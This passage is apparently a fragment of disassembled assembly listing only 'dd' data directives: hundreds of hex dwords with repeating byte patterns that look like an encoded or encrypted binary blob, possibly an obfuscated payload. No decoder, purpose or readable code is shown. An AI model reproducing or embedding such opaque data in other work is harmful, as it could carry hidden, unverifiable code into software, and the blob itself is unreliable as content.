		dd 75287090h, 0FB466FC5h, 90F96A6Bh, 282A2873h,	0DE6FC575h
		dd 0F96A6BFBh, 75287C90h, 0FB626FC5h, 90F96A6Bh, 0F852872h
		dd 9A6FF16Ah, 796A6BFBh, 6BFB9E6Fh, 7D90F96Ah, 7A8598FBh
		dd 92287A7Ah, 7A7A79CDh, 2552BEF9h, 0B9B32124h,	0F6EC122Dh
		dd 63926A6Bh, 238585D9h, 0E26F852Ah, 0D96A7B5Fh, 6A6BF81Eh
		dd 6BFBC2DBh, 7E7F796Ah, 0F96A6BF8h, 7F437C92h,	6A6BF81Eh
		dd 0F3126D0Fh, 926A6BF6h, 8585D896h, 6F852A23h,	6A7F4862h
		dd 6BF81ED9h, 0F60D126Ah, 0AF926A6Bh, 2A8585D8h, 0F81E4F85h
		dd 6F856A6Bh, 6A7B5BD6h, 7B5AF6D9h, 0F61D126Ah,	0C3926A6Bh
		dd 2A8585D8h, 0F81E4F85h, 6F856A6Bh, 6A7B5BD6h,	7B5AFED9h
		dd 0F62E126Ah, 0E7926A6Bh, 2A8585D8h, 0F81E4F85h, 6F856A6Bh
		dd 6A7B5BD6h, 6B0A32D9h, 0F63A126Ah, 0FB926A6Bh, 2A8585D8h
		dd 0F81E4F85h, 6F856A6Bh, 6A7B5BD6h, 7B5FAED9h,	0F64B126Ah
		dd 1F926A6Bh, 2A8585D8h, 0F81E4F85h, 6F856A6Bh,	6A7B5BD6h
		dd 772346D9h, 0F65A126Ah, 33926A6Bh, 0F98585D8h, 852A62BEh
		dd 6BF81E4Fh, 0D66F856Ah, 0D96A7B5Bh, 6A7F4B96h, 122DB925h
		dd 6A6BF668h, 85D85D92h, 852A2385h, 7B5FE26Fh, 0F826D96Ah
		dd 0C5756A6Bh, 6BFBBE7Fh, 7292F96Ah, 0F8267F43h, 6D0F6A6Bh
		dd 6BF67E12h, 0DB84926Ah, 2A238585h, 48626F85h,	26D96A7Fh
		dd 126A6BF8h, 6A6BF188h, 85DB9D92h, 8E922A85h, 0D97A7A4Ah
		dd 6A7B5FB2h, 6BF19A12h, 0DBA8926Ah, 922A8585h,	7A7A4AA5h
		dd 73236ED9h, 0F1B3126Ah, 0C7926A6Bh, 2A8585DBh, 7A4AB092h
		dd 5FDED97Ah, 0CC126A7Bh, 926A6BF1h, 8585DBD2h,	4ACF922Ah
		dd 46D97A7Ah, 126A7333h, 6A6BF1DFh, 85DBE992h, 0DA922A85h
		dd 0D97A7A4Ah, 6A77234Ah, 6BF1ED12h, 0DB04926Ah, 922A8585h
		dd 7A7A4AF1h, 6B2322D9h, 0F1FF126Ah, 13926A6Bh,	2A8585DBh
		dd 7A4A0C92h, 5AEAD97Ah, 3126A7Bh, 926A6BF1h, 8585DB2Eh
		dd 4A1B922Ah, 86D97A7Ah, 126A7F53h, 6A6BF117h, 85DB4592h
		dd 36922A85h, 0D97A7A4Ah, 6A73228Eh, 6BF12312h,	0DB50926Ah
		dd 922A8585h, 7A7A4A4Dh, 6B217AD9h, 0F133126Ah,	6F926A6Bh
		dd 2A8585DBh, 7A4A5892h, 8A62D97Ah, 4D126A7Ah, 926A6BF1h
		dd 8585DB7Ah, 4A77922Ah, 0D6D97A7Ah, 126A7B5Fh,	6A6BF15Ch
		dd 85DA9192h, 82922A85h, 0D97A7A55h, 6A7B75AAh,	6BF16E12h
		dd 0DAAC926Ah, 922A8585h, 7A7A5599h, 6B1542D9h,	0F17B126Ah
		dd 0BB926A6Bh, 2A8585DAh, 7A55B492h, 2282D97Ah,	8A126A73h
		dd 926A6BF0h, 8585DAD6h, 55C3922Ah, 2AD97A7Ah, 126A6B23h
		dd 6A6BF099h, 85DAED92h, 0DE922A85h, 0D97A7A55h, 6A7A8A7Eh
		dd 6BF0AE12h, 0DAF8926Ah, 922A8585h, 7A7A55F5h,	734F32D9h
		dd 0F0BA126Ah, 17926A6Bh, 2A8585DAh, 7A550092h,	7A62D97Ah
		dd 0C8126A7Bh, 926A6BF0h, 8585DA22h, 551F922Ah,	7AD97A7Ah
		dd 126A7B7Ah, 6A6BF0E6h, 85DA3992h, 2A922A85h, 0D97A7A55h
		dd 6A7B7A6Ah, 6BF0F012h, 0DA54926Ah, 922A8585h,	7A7A5541h
		dd 6B232ED9h, 0F003126Ah, 63926A6Bh, 2A8585DAh,	7A555C92h
		dd 4B92D97Ah, 10126A7Fh, 926A6BF0h, 8585DA7Eh, 556B922Ah
		dd 0BEFB7A7Ah, 7A7A7ABAh, 772342D9h, 10B9256Ah,	68DF9278h
		dd 7A107A7Ah, 7A68E492h, 72BEF97Ah, 9FF32FB9h, 3FF72D2Bh
		dd 63122A86h, 757A787Ah, 0FAB67FC5h, 2A326A6Bh,	85760F85h
		dd 6F85720Fh, 6A7B5FE6h, 8573BDF3h, 0BA4B7E0Eh,	0F854091h
		dd 6E0F8562h, 0DB660F85h, 6A6BFA9Eh, 0FBCA7F79h, 92F96A6Bh
		dd 0F852A76h, 860F856Ah, 8A366F85h, 0BDF36A7Ah,	85860F85h
		dd 73237E6Fh, 0E85736Ah, 91BA4B7Eh, 3ABA4B79h, 2FB9B325h
		dd 42C29FF3h, 927A788Ah, 7A7A305Fh, 752D2C29h, 0FB1E47C5h
		dd 85136A6Bh, 7A7A79BAh, 0BE4FC575h, 0FB6A6BFAh, 7A9020BCh
		dd 4DC6F77Ah, 7A7A79BAh, 0C7F39DABh, 858775B2h,	3302922Dh
		dd 0BEF97A7Ah, 0ACFFF37Eh, 75858575h, 75723FCCh, 0FBB66FC5h
		dd 6F796A6Bh, 6A6BFB96h, 437190F9h, 12590FAAh, 6A6BF025h
		dd 85E57192h, 7EBEF985h, 0A6C7F72Ah, 2D85856Bh,	23526F85h
		dd 0BEF96A77h, 7BA99372h, 6F857A7Ah, 6A7F4B8Ah,	0E7F2B9F3h
		dd 858575AFh, 6BF04712h, 0E4A0926Ah, 0BEF98585h, 0C7F72A7Eh
		dd 85856AA7h, 0DE6F852Dh, 0F96A7B5Bh, 0CC7572BEh, 0C575723Fh
		dd 6BFB326Fh, 166F796Ah, 0F96A6BFBh, 0AA437E90h, 0C575270Fh
		dd 6BFBEE7Fh, 0BA6FF16Ah, 0F76A6BFAh, 5F7E6A3Eh, 7A7A7A85h
		dd 0A4FFF72Ah, 2A858575h, 926A0F85h, 7A7A715Ch,	1276BEF9h
		dd 6A6BF053h, 85E40192h, 7EBEF985h, 0AFC7CC75h,	2D858575h
		dd 75A4C7F7h, 0F72D8585h, 856AA7C7h, 0F72A2D85h, 856BA6C7h
		dd 6F852D85h, 6A772352h, 756EBEF9h, 75723FCCh, 0FACE6FC5h
		dd 6F796A6Bh, 6A6BFB5Eh, 437D90F9h, 6CFF75AAh, 757A7A7Bh
		dd 0FBDE7FC5h, 0C5756A6Bh, 6BFA826Fh, 0F9AA7B6Ah, 855F7192h
		dd 2A7A7A7Ah, 75A4FFF7h, 852A8585h, 6BF8BE4Fh, 70D2926Ah
		dd 0BEF97A7Ah, 0F3981276h, 87926A6Bh, 0F98585E7h, 7F17EBEh
		dd 6A0FF15Ah, 897B81F3h, 67C57529h, 6A6BFB32h, 0FB4E6FF1h
		dd 26F76A6Bh, 85297969h, 852D5E0Fh, 0CC75660Fh,	8575AFC7h
		dd 8DF32D85h, 756E0751h, 0FB464FC5h, 4F796A6Bh,	6A6BFBC2h
		dd 537394F9h, 7A122D8Dh, 856A7F48h, 0F85620Fh, 0A4C7F752h
		dd 2D858575h, 6AA7C7F7h, 2A2D8585h, 6BA6C7F7h, 852D8585h
		dd 7723526Fh, 42BEF96Ah, 6BF85EDBh, 623F436Ah, 4332190Fh
		dd 270F5A3Fh, 6BF3C412h, 0E708926Ah, 0BEF98585h, 216A127Eh
		dd 0C5756A6Bh, 6BFB7E47h, 6E4FF16Ah, 0F76A6BFBh, 2D7F4D06h
		dd 0F7520F85h, 8575A4C7h, 0C7F72D85h, 85856AA7h, 0C7F72A2Dh
		dd 858775B7h, 526F852Dh, 0F96A7723h, 0FFF766BEh, 858775B7h
		dd 0A6FFF72Ah, 2A85856Bh, 8A566F85h, 0BEF96A7Ah, 0B2CF8572h
		dd 85858775h, 8575ACCFh, 7FC57585h, 6A6BFBB6h, 0FA9E7F79h
		dd 92F96A6Bh, 2AA28D77h, 6BA6FFF7h, 752A8585h, 0F83E7FC5h
		dd 92F96A6Bh, 7A102A7Dh, 234E6F85h, 0DE126A77h,	926A6BF3h
		dd 8585AAD0h, 2A7EBEF9h, 7A766F85h, 0FFF36A7Bh,	858575AAh
		dd 75ACCF85h, 6F858585h, 6A7B7A76h, 75B6FFF3h, 852A8585h
		dd 8575AACFh, 763FF185h
		dd 8562F12Ah, 7A7B7EE9h, 0AACF857Ah, 85858575h,	6B154E6Fh
		dd 0B6CF856Ah, 85858575h, 6B154E6Fh, 0C6DFF76Ah, 25858775h
		dd 0B9B32124h, 2B9FF32Fh, 2D2C292Ah, 0F17627F1h, 0A2F36A0Fh
		dd 0C378BAF9h, 7A7A7A79h, 0D0D0D1C0h, 0AB988DD0h, 862FF390h
		dd 9DBBADF3h, 6E2FF178h, 0CAD4330h, 93BA4B7Dh, 7A7A7B7Ah
		dd 6BF32712h, 0E638926Ah, 2A238585h, 6B153A12h,	3D69926Ah
		dd 4F917A7Ah, 720F852Ch, 85B0B892h, 72BEF985h, 6BFABADBh
		dd 0B9533A6Ah, 8A7FC575h, 0F96A6BFBh, 3F797992h, 723FF372h
		dd 6BFBC2DBh, 0AE7F796Ah, 0F96A6BFBh, 4EF77292h, 0FACADB7Ch
		dd 0C5756A6Bh, 6BF86A6Fh, 0F9AA7B6Ah, 0B9437D92h, 0D6DBCC09h
		dd 0F96A6BFBh, 0B9437892h, 7910020Ch, 6BFBCEDBh, 7E92F96Ah
		dd 833FF72Ah, 4E6F852Ah, 296A7333h, 0F7720F85h,	852A833Fh
		dd 73326E6Fh, 3FF72C6Ah, 32922A83h, 0F98585B0h,	0C5755ABEh
		dd 6BFB1E7Fh, 6FC5756Ah, 6A6BFAE6h, 92F9AA7Bh, 0FB9437Ch
		dd 7FC5756Eh, 6A6BFA82h, 0FB5E7F79h, 92F96A6Bh,	7C7EBC7Fh
		dd 0FBC6DB47h, 7F796A6Bh, 6A6BFABAh, 0BC7F92F9h, 75477C7Eh
		dd 0FB327FC5h, 0EF76A6Bh, 0C575794Ah, 6BF83A7Fh, 7292F96Ah
		dd 6A6FC575h, 0F96A6BF8h, 6EF27F90h, 3ABA4B7Ch,	0B3212425h
		dd 9FF32FB9h, 787696FBh, 2C297A7Ah, 7813922Dh, 0BA737A7Ah
		dd 7843FE75h, 0FFBD7A7Ah, 85858786h, 7A7A7A85h,	8786FFF7h
		dd 0F72A8585h, 85857BFFh, 6F852A85h, 6A7B5FDAh,	6BFB72DBh
		dd 4E7F796Ah, 756A6BF8h, 8B7FFEC4h, 0F1858584h,	6BFBE66Fh
		dd 7E90F96Ah, 720FAA43h, 933ABA4Bh, 7A7A7B89h, 6BF32B12h
		dd 0E0A4926Ah, 0C5758585h, 6BFB426Fh, 7890F96Ah, 0EFF72A28h
		dd 8585857Bh, 0B78B9228h, 0BEF98585h, 75B8F36Ah, 0FABE77C5h
		dd 56DB6A6Bh, 0F76A6BFBh, 858B7BF6h, 0B0437A7Ah, 0BA4B720Eh
		dd 7BD7933Ah, 3D127A7Ah, 926A6BF3h, 8585E0E2h, 0F8526FF1h
		dd 90F96A6Bh, 0F72A287Dh, 85857BEFh, 0D6922885h, 0F98585B7h
		dd 77F16ABEh, 6A6BFB8Eh, 8588BBFBh, 77797A7Ah, 6A6BFB0Ah
		dd 720EB243h, 933ABA4Bh, 7A7A7B11h, 8782FFBDh, 7A858585h
		dd 0FFF77A7Ah, 85858782h, 78FFF72Ah, 2A858584h,	8A3A6F85h
		dd 38126A7Ah, 926A6BF3h, 8585E042h, 78EFF72Ah, 28858584h
		dd 8A566F85h, 0E6DB6A7Ah, 0F96A6BFBh, 0F72A7992h, 85857BFFh
		dd 0FFF72A85h, 85858478h, 0B743922Ah, 0BEF98585h, 266FF162h
		dd 0FB6A6BFBh, 7A8581B8h, 0EAA437Ah, 3ABA4B72h,	7A7A8493h
		dd 626F857Ah, 0F36A7323h, 0F3A14BBCh, 7FC5758Dh, 6A6BFACEh
		dd 0FAEA7F79h, 92F96A6Bh, 7ECC7573h, 6FC5757Dh,	6A6BFBBEh
		dd 1E77C575h, 7B6A6BFBh, 7390F9B0h, 0FE75AA43h,	7A7A7ACBh
		dd 0B2F983F3h, 46FA3A85h, 830F7A7Bh, 878EFFF3h,	42128585h
		dd 926A6BF3h, 8585E3E6h, 0F17EBEF9h, 6BFAA66Fh,	566F796Ah
		dd 0F96A6BFBh, 2A287190h, 0B6D7922Dh, 0BEF98585h, 7A77F176h
		dd 0FB6A6BF8h, 7A8580BBh, 0EB2437Ah, 7A7BC17Dh,	1B917A7Ah
		dd 6BF35D12h, 0E324926Ah, 0C5758585h, 6BFB7E6Fh, 2A28386Ah
		dd 0B603922Dh, 0BEF98585h, 0F1B8F36Ah, 6BFACA77h, 89BBFB6Ah
		dd 757A7A85h, 0FB927FC5h, 0BB7B6A6Bh, 7F0EB043h, 9139A14Bh
		dd 7FC5755Eh, 6A6BF872h, 3A6FC575h, 7B6A6BF8h, 7292F9AAh
		dd 878EEFF1h, 807B8585h, 0AD7BBDF3h, 85855A93h,	6F852C85h
		dd 6A73333Eh, 7F0EA173h, 913ABA4Bh, 25BA4B78h, 0B9B32124h
		dd 1A9FF32Fh, 0C26A0FF1h, 6A7A281Ch, 7AC2FCF3h,	3FF17A7Ah
		dd 0BEFCF376h, 1B7A7A7Ah, 4B2796F3h, 2FB9B9BAh,	96FB9FF3h
		dd 7A7A7AEEh, 0F8FE47F9h, 0E7A6A6Bh, 3ABA4B7Fh,	0FFBD5591h
		dd 85858516h, 7A7A7AEEh, 8516FFF7h, 852A8585h, 6B15526Fh
		dd 6C7F96Ah, 78858585h,	7FBD700Fh, 6A6BF8FEh, 7A7A7A7Bh
		dd 6BF8FEDBh, 2DB9B36Ah, 6BF36012h, 0E200926Ah,	2A238585h
		dd 5FE26F85h, 1AD96A7Bh, 0DB6A6BF8h, 6A6BFB12h,	437892F9h
		dd 6BF81A7Fh, 126D0F6Ah, 6A6BF377h, 85E22992h, 852A2385h
		dd 7F48626Fh, 0F81AD96Ah, 84126A6Bh, 926A6BF2h,	8585E246h
		dd 4F852A23h, 6A6BF81Ah, 5BD66F85h, 5AD96A7Bh, 256A7348h
		dd 3A7BC2B9h, 62B8FA7Ah, 9FF32F7Ah, 7BD696FBh, 2C297A7Ah
		dd 7207F12Dh, 0BD7A7DBCh, 858417FFh, 7A7AEE85h,	17FFF77Ah
		dd 2A858584h, 15526F85h, 0C7F96A6Bh, 85858407h,	126F0F7Bh
		dd 6A6BF282h, 85ED9992h, 852D2A85h, 7A8A566Fh, 76BEF96Ah
		dd 8407C7F9h, 0F788585h, 0F288126Fh, 0BF926A6Bh, 2A8585EDh
		dd 526F852Dh, 0F96A7723h, 9C1276BEh, 926A6BF2h,	8585EDCAh
		dd 8403CF85h, 0CF858585h, 8585840Fh, 840BCF85h,	0F72A8585h
		dd 85857BE7h, 6F852985h, 6A772352h, 857BFFF7h, 2D2A8585h
		dd 8A566F85h, 0A5126A7Ah, 926A6BF2h, 8585ED02h,	0FB7267F1h
		dd 91F96A6Bh, 0C5752972h, 6BFA8667h, 0C667796Ah, 0F96A6BFAh
		dd 0F7297891h, 85841EE7h, 0E7F72985h, 8585841Eh, 1AE7F729h
		dd 29858584h, 7A7A8512h, 7BE7F77Ah, 29858585h, 7A6F852Ah
		dd 126A7323h, 6A6BF2ADh, 85ED5192h, 1ACF8585h, 2A858584h
		dd 857BE7F7h, 85298585h, 7723526Fh, 7BFFF76Ah, 2A858585h
		dd 566F852Dh, 126A7A8Ah, 7A7A7A85h, 857BFFF7h, 0DB2A8585h
		dd 6A6BFB0Ah, 3A6FC575h, 7B6A6BF8h, 7392F9AAh, 7E7A122Ah
		dd 6F857A7Ah, 6A7B5FD2h, 857BFFF7h, 2D2A8585h, 8A566F85h
		dd 0A8126A7Ah, 926A6BF2h, 8585ECB2h, 6F852D2Ah,	6A7A8A56h
		dd 8412FFBDh, 7A858585h, 0DF127A7Ah, 926A6BF2h,	8585ECD6h
		dd 8422FFF3h, 0E2128585h, 926A6BF2h, 8585ECE6h,	8426E7F7h
		dd 0F7298585h, 858412E7h, 0E7F72985h, 8585857Bh, 0E7F12A29h
		dd 85858422h, 7A781229h, 0EC92FA7Ah, 0F985858Ch, 0BCF30ABEh
		dd 0E27FC575h, 436A6BFBh, 0F7690FBCh, 85857BFFh, 852D2A85h
		dd 7A8A566Fh, 72BEF96Ah, 0FFBD0291h, 85858412h,	7A7A7A85h
		dd 6BF21212h, 0EC44926Ah, 0FFF38585h, 8585842Eh, 6BF22112h
		dd 0EC54926Ah, 0E7F78585h, 85858426h, 12E7F729h, 29858584h
		dd 857BE7F7h, 2A298585h, 842EE7F1h, 12298585h, 0FA7A7A78h
		dd 858C5292h, 5ABEF985h, 0C575BCF3h, 6BF86A7Fh,	6FC5756Ah
		dd 6A6BFBDEh, 92F9AA7Bh, 0FBC4370h, 7BFFF76Bh, 2A858585h
		dd 566F852Dh, 0F96A7A8Ah, 242572BEh, 29B9B321h,	4FC5752Ch
		dd 6A6BFB1Eh, 0FACA67F1h, 0B9FB6A6Bh, 147C4DC0h, 82CF66F3h
		dd 0F16A6B20h, 6BFAEA4Fh, 7DBCF96Ah, 7E67C575h,	7B6A6BFBh
		dd 67C575A4h, 6A6BFABEh, 3A6FC575h, 0F76A6BF8h,	0FD4C69E6h
		dd 66F36434h, 6B20BACFh, 0CA4FF16Ah, 0F96A6BFAh, 4F7978BCh
		dd 6A6BFA96h, 0FB2A67F1h, 0B9FB6A6Bh, 474F061Dh, 0BACF66F3h
		dd 756A6B20h, 0FB464FC5h, 4F796A6Bh, 6A6BFB8Eh,	0FB5A67F1h
		dd 0B9FB6A6Bh, 0FCE09209h, 0FB9E6779h, 66F36A6Bh, 6B20FACFh
		dd 4FC5756Ah, 6A6BFA82h, 0F8424F79h, 67F16A6Bh,	6A6BFA9Ah
		dd 45CB9FBh, 66F3C587h,	6B20CACFh, 0E677F16Ah, 0F96A6BFBh
		dd 68917993h, 0EA4FC575h, 0F96A6BFBh, 4EF37294h, 6B20FAF7h
		dd 0FEDB3B6Ah, 0F96A6BFBh, 7F7972BAh, 6A6BFBA2h, 0A608BB43h
		dd 0D277C575h, 0F16A6BFAh, 6BFB664Fh, 4BBCFB6Ah, 7948473Dh
		dd 6BFBFE4Fh, 0F74EF36Ah, 6A6B208Eh, 0BE77C575h, 0F16A6BFBh
		dd 6BFAA24Fh, 0D9BCFB6Ah, 792A286Fh, 6BF8564Fh,	0F74EF36Ah
		dd 6A6B20C2h, 0FBCA77F1h
		dd 0C5756A6Bh, 6BFB624Fh, 8BBCFB6Ah, 0F360CA2Bh, 20B6F74Eh
		dd 0C5756A6Bh, 6BFBBE77h, 4FC5756Ah, 6A6BFB42h,	4FF18B7Bh
		dd 6A6BFB9Eh, 0FFB2BCFBh, 4F795274h, 6A6BFAE2h,	0C2F74EF3h
		dd 756A6B20h, 0FB5277C5h, 4FF16A6Bh, 6A6BFB96h,	0B6A6BCFBh
		dd 4EF399F9h, 6B20A6F7h, 5E77F16Ah, 796A6BF8h, 6BFB1A77h
		dd 324FF16Ah, 0FB6A6BF8h, 10A7A0BCh, 0C24F79ADh, 0F36A6BFAh
		dd 20CAF74Eh, 77F16A6Bh, 6A6BFADAh, 624FC575h, 0F16A6BFBh
		dd 6BFADE67h, 64CEF76Ah, 6E827F73h, 96F74EF3h, 0F16A6B20h
		dd 6BFB0277h, 1A4FF16Ah, 0FB6A6BFBh, 5E3A01BCh,	0F74EF3B6h
		dd 6A6B20D2h, 0FB4E77F1h, 77796A6Bh, 6A6BFB96h,	0BCFBA4F3h
		dd 610D9BA3h, 0B667C575h, 7B6A6BFAh, 0F74EF3A4h, 6A6B20BAh
		dd 4277C575h, 0F16A6BFBh, 6BFB5E4Fh, 77BCF96Ah,	0FB124F79h
		dd 4EF36A6Bh, 6B200EF7h, 77C5756Ah, 6A6BF83Eh, 0DE4FC575h
		dd 0F16A6BFBh, 6BFBFE67h, 64CEF76Ah, 9B8D94E1h,	0DEF74EF3h
		dd 0F16A6B20h, 6BF84277h, 7CBBF96Ah, 0FA927779h, 4FF16A6Bh
		dd 6A6BFAAEh, 1E31BCFBh, 4F79A831h, 6A6BFBC6h, 0BAF74EF3h
		dd 246A6B20h, 7BC2B921h, 0B8FA7A3Ah, 0F32F7A72h, 292A2B9Fh
		dd 0FF12D2Ch, 7627F172h, 0F37A79BCh, 85B2F98Bh,	7B46FA3Ah
		dd 0F3830F7Ah, 0C575863Fh, 6BFB627Fh, 79BDF36Ah, 6BFB2647h
		dd 7695F96Ah, 0CC750A91h, 0BD436A3Fh, 7EF07108h, 0E554644h
		dd 0F54467Eh, 0F22F1265h, 6B926A6Bh, 758585E9h,	28446ECCh
		dd 832FF72Ah, 526F8528h, 0F96A7723h, 55916ABEh,	6BF22A12h
		dd 0E888926Ah, 292A8585h, 8A566F85h, 32126A7Ah,	926A6BF2h
		dd 8585E89Ah, 446ECC75h, 2FF72A28h, 6F852883h, 6A772352h
		dd 0F766BEF9h, 292A833Fh, 8A566F85h, 0BEF96A7Ah, 7413D72h
		dd 25F10886h, 0B9B32124h, 0FB9FF32Fh, 7A781696h, 0FFF72D7Ah
		dd 85858486h, 7FC5752Ah, 6A6BFA86h, 2A7892F9h, 6BFB26DBh
		dd 7E92F96Ah, 0DB66102Ah, 6A6BF85Eh, 0F8367F79h, 92F96A6Bh
		dd 6F852A70h, 6A7F507Ah, 87E3FFF7h, 922A8585h, 8585CE51h
		dd 1E607FF7h, 66D96A7Ah, 0F76A7723h, 7A3F4F7Fh,	200ED96Ah
		dd 7FF76A6Bh, 6A7A1E60h, 7F4B9AD9h, 4A7FF76Ah, 0D96A7A31h
		dd 6A7F4B8Ah, 6BF24F12h, 0E84C926Ah, 0C5758585h, 6BFB4647h
		dd 7E47796Ah, 0F96A6BF8h, 0F72D7F95h, 858486C7h, 122A2D85h
		dd 6A7B5ADAh, 23526F85h, 5C126A77h, 926A6BF2h, 8585E872h
		dd 0FB3A47F1h, 47796A6Bh, 6A6BFADEh, 2D7895F9h,	87E3C7F7h
		dd 0F72D8585h, 858486C7h, 122A2D85h, 6A73484Ah,	23526F85h
		dd 7FF76A77h, 6A7B5ADAh, 73325AD9h, 4A7FF76Ah, 0D96A7332h
		dd 6A7B75AEh, 37F07FF7h, 9ED96A7Ah, 926A7F53h, 85858199h
		dd 6BFB02DBh, 122A3A6Ah, 6A7F487Ah, 85CED392h, 0F2681285h
		dd 0E7926A6Bh, 0F18585EBh, 6BFB8E47h, 7995F96Ah, 86C7F72Dh
		dd 2D858584h, 324A122Ah, 6F856A73h, 6A772352h, 7B759A12h
		dd 832D926Ah, 85128585h, 926A6BFDh, 8585EB16h, 0FB3647F1h
		dd 0BDF96A6Bh, 0C7F72D7Eh, 85858486h, 3A122A2Dh, 856A734Eh
		dd 7723526Fh, 607FF76Ah, 0D96A7A1Eh, 6A7B7A6Eh,	4E3A7FF7h
		dd 66D96A73h, 0F76A7A8Ah, 6B230A7Fh, 0F8BED96Ah, 0BC126A6Bh
		dd 926A7A27h, 8585CBA6h, 7AAD8812h, 0CBA8926Ah,	41128585h
		dd 926A7AC3h, 8585CBB2h, 0E67FC575h, 796A6BFAh,	6BFB8E7Fh
		dd 7F92F96Ah, 7B5FAAD9h, 0F832DB6Ah, 7F796A6Bh,	6A6BFBBAh
		dd 2A7E92F9h, 8787FFF7h, 922A8585h, 7A7A7E6Dh, 0DB02BEF9h
		dd 6A6BFB16h, 0FAE27F79h, 0C6FA6A6Bh, 8587957Fh, 360F1E85h
		dd 84FFC475h, 0F1858587h, 6BFB126Fh, 6CB8F96Ah,	0BE77C575h
		dd 7B6A6BFBh, 0F2AA53B0h, 8587E2FFh, 7FC57585h,	6A6BF862h
		dd 7B5FAAD9h, 0FFCC756Ah, 858587E2h, 0FADEDB2Ah, 7F796A6Bh
		dd 6A6BFBB2h, 2A7592F9h, 85CC6292h, 72BEF985h, 7E7FC575h
		dd 796A6BFBh, 6BFB367Fh, 7FC6FA6Ah, 85858781h, 0DB3F0F1Dh
		dd 6A6BFB36h, 90F9B8F3h, 7FEEF278h, 8585847Fh, 8784FFF7h
		dd 852A8585h, 7B7A666Fh, 0EEFFF36Ah, 2A858587h,	6B230A12h
		dd 59B6926Ah, 0BEF97A7Ah, 0FA9ADB76h, 7F796A6Bh, 6A6BFAE2h
		dd 0D97592F9h, 6A7B5FAAh, 2FB9B325h, 96F99FF3h,	2D2C2932h
		dd 0F77227F1h, 6B20FA7Fh, 0C23FF36Ah, 3E7FC575h, 0F36A6BF8h
		dd 0C24779BDh, 0F96A6BFAh, 74917195h, 98AB80F3h, 176F11Ch
		dd 6F36F31Ch, 0C5753DBAh, 6BFB427Fh, 67BAF96Ah,	9E08BD43h
		dd 6BFBC6DBh, 7C92F96Ah, 85C63FF3h, 3FF1C63Fh, 7ACD75C2h
		dd 9C63F43h, 3FF72975h,	0FE922ABAh, 0F98585EFh,	999172BEh
		dd 0FAC24FF1h, 94F96A6Bh, 0F36B917Eh, 0F198AB88h, 0F11C7637h
		dd 1CBA6F2Eh, 3C0B6EF3h, 6BFB5ADBh, 62BAF96Ah, 9908BC43h
		dd 0B3212425h, 9FF32FB9h, 293696F9h, 0C5752D2Ch, 6BF8627Fh
		dd 0AE7F796Ah, 0F96A6BFBh, 3FF37292h, 0C2589186h, 7A7A7A4Ah
		dd 0F3861F8Dh, 0C5759A3Fh, 6BF83E7Fh, 7D92F96Ah, 0F39A2FF1h
		dd 4F2A6F7Eh, 3F856A73h, 0FACADB86h, 0BAF96A6Bh, 863F4325h
		dd 0C575AB08h, 6BFAAA7Fh, 7C92F96Ah, 0FE6F852Ah, 126A7B5Ah
		dd 6A6BF892h, 6BE0F212h, 0DB7D106Ah, 6A6BFBCAh,	2A7D92F9h
		dd 6BE3B212h, 0AE6F856Ah, 0F36A7B5Fh, 0F85ADBB9h, 92F96A6Bh
		dd 75B94378h, 7A7BD3FFh, 8E3FF77Ah, 0F892DB2Ah,	0F12A6A6Bh
		dd 662D8542h, 7EDBB9F3h, 0F96A6BF8h, 0B9437892h, 5ADB770Fh
		dd 0F96A6BF8h, 3F437892h, 937F0F8Eh, 7A7A7B7Bh,	0BE7FC575h
		dd 796A6BFAh, 6BFA927Fh, 7D92F96Ah, 93823FF3h, 7A7A7AA7h
		dd 0F3823FF1h, 0BD1CAA3Fh, 7A79B23Fh, 2ABE3FF7h, 0F9B20FF7h
		dd 9DF36A96h, 7A7A7EC3h, 0F1DF897Ah, 6BF89247h,	45F12D6Ah
		dd 0F35A2D85h, 0FA8ADBB9h, 7F796A6Bh, 6A6BFB16h, 437292F9h
		dd 0EDFF75B9h, 0F77A7A7Ah, 122ABA3Fh, 6A6BE0D2h, 2ABE3FF1h
		dd 6E8542F1h, 7A7A7A47h, 0DBB9F37Ah, 6A6BF856h,	0FAA27F79h
		dd 92F96A6Bh, 0FB94377h, 9E7FF71Eh, 0F36A6BF8h,	0F12AA63Fh
		dd 7E2C854Ah, 2AC63FF7h, 6BE39212h, 0A63FF16Ah,	8542F12Ah
		dd 7A7A476Eh, 0B9F37A7Ah, 0FAC66741h, 590F6A6Bh, 2AC23FF7h
		dd 6BE39212h, 0C60F856Ah, 92BA0F85h, 8585C037h,	0F36ABEF9h
		dd 3FF1CE3Fh, 4AF12AC6h, 0F1722C85h, 0F12AA63Fh, 722C854Ah
		dd 2ABA3FF1h, 2C854AF1h, 0BE3FF172h, 854AF12Ah,	3F85722Ch
		dd 8E3FF182h, 75823F43h, 85856DF8h, 727FF785h, 0F36A6BF9h
		dd 0F12A8A3Fh, 7E2C854Ah, 2A963FF7h, 6BE3A212h,	8A3FF16Ah
		dd 854AF12Ah, 7A7A4F6Eh, 3FF17A7Ah, 4AF12A8Ah, 0F7722C85h
		dd 122A9E3Fh, 6A6BE3A2h, 85960F85h, 6BF8924Fh, 0C3B5926Ah
		dd 0BEF98585h, 923FF36Ah, 6BFB82DBh, 6FC5756Ah,	6A6BFBE2h
		dd 92F9AA7Bh, 923F437Eh, 92DB620Fh, 2A6A6BF8h, 2C854AF1h
		dd 0FB36DB72h, 92F96A6Bh, 0F892D978h, 24256A6Bh, 2FB9B321h
		dd 96FB9FF3h, 7A7A7B7Eh, 86FFF72Dh, 2A858584h, 867FC575h
		dd 0F96A6BFAh, 0DB2A7892h, 6A6BF85Eh, 0EE6FC575h, 7B6A6BFAh
		dd 7992F9AAh, 720F852Ah, 6BFB5ADBh, 7292F96Ah, 7A6F852Ah
		dd 0F36A7F50h, 0F8573BDh, 0FD801251h, 8F926A6Bh, 2A8585F6h
		dd 8486C7F7h, 852D8585h, 7A8A566Fh, 107B106Ah, 86FFF739h
		dd 2A858584h, 85B32092h, 62BEF985h, 0C2B9B325h,	0FA7A3A7Bh
		dd 2F7A62B8h, 292B9FF3h, 0FF12D2Ch, 107A1072h, 1079107Ah
		dd 127A107Ah, 0FA7A7A7Ah
		dd 73484A12h, 626F856Ah, 0F36A6B11h, 8585F9BDh,	0A2DB650Fh
		dd 0F96A6BFAh, 6FF17C92h, 6A6BFADAh, 0FBC66F79h, 90F96A6Bh
		dd 7C6EF273h, 7A7AF393h, 757A107Ah, 0FBB67FC5h,	92F96A6Bh
		dd 0F852A73h, 6F852D76h, 6A6B154Ah, 6BFBFEDBh, 6FC5756Ah
		dd 6A6BFACEh, 92F9AA7Bh, 3FF72A73h, 0C5752A86h,	6BFB327Fh
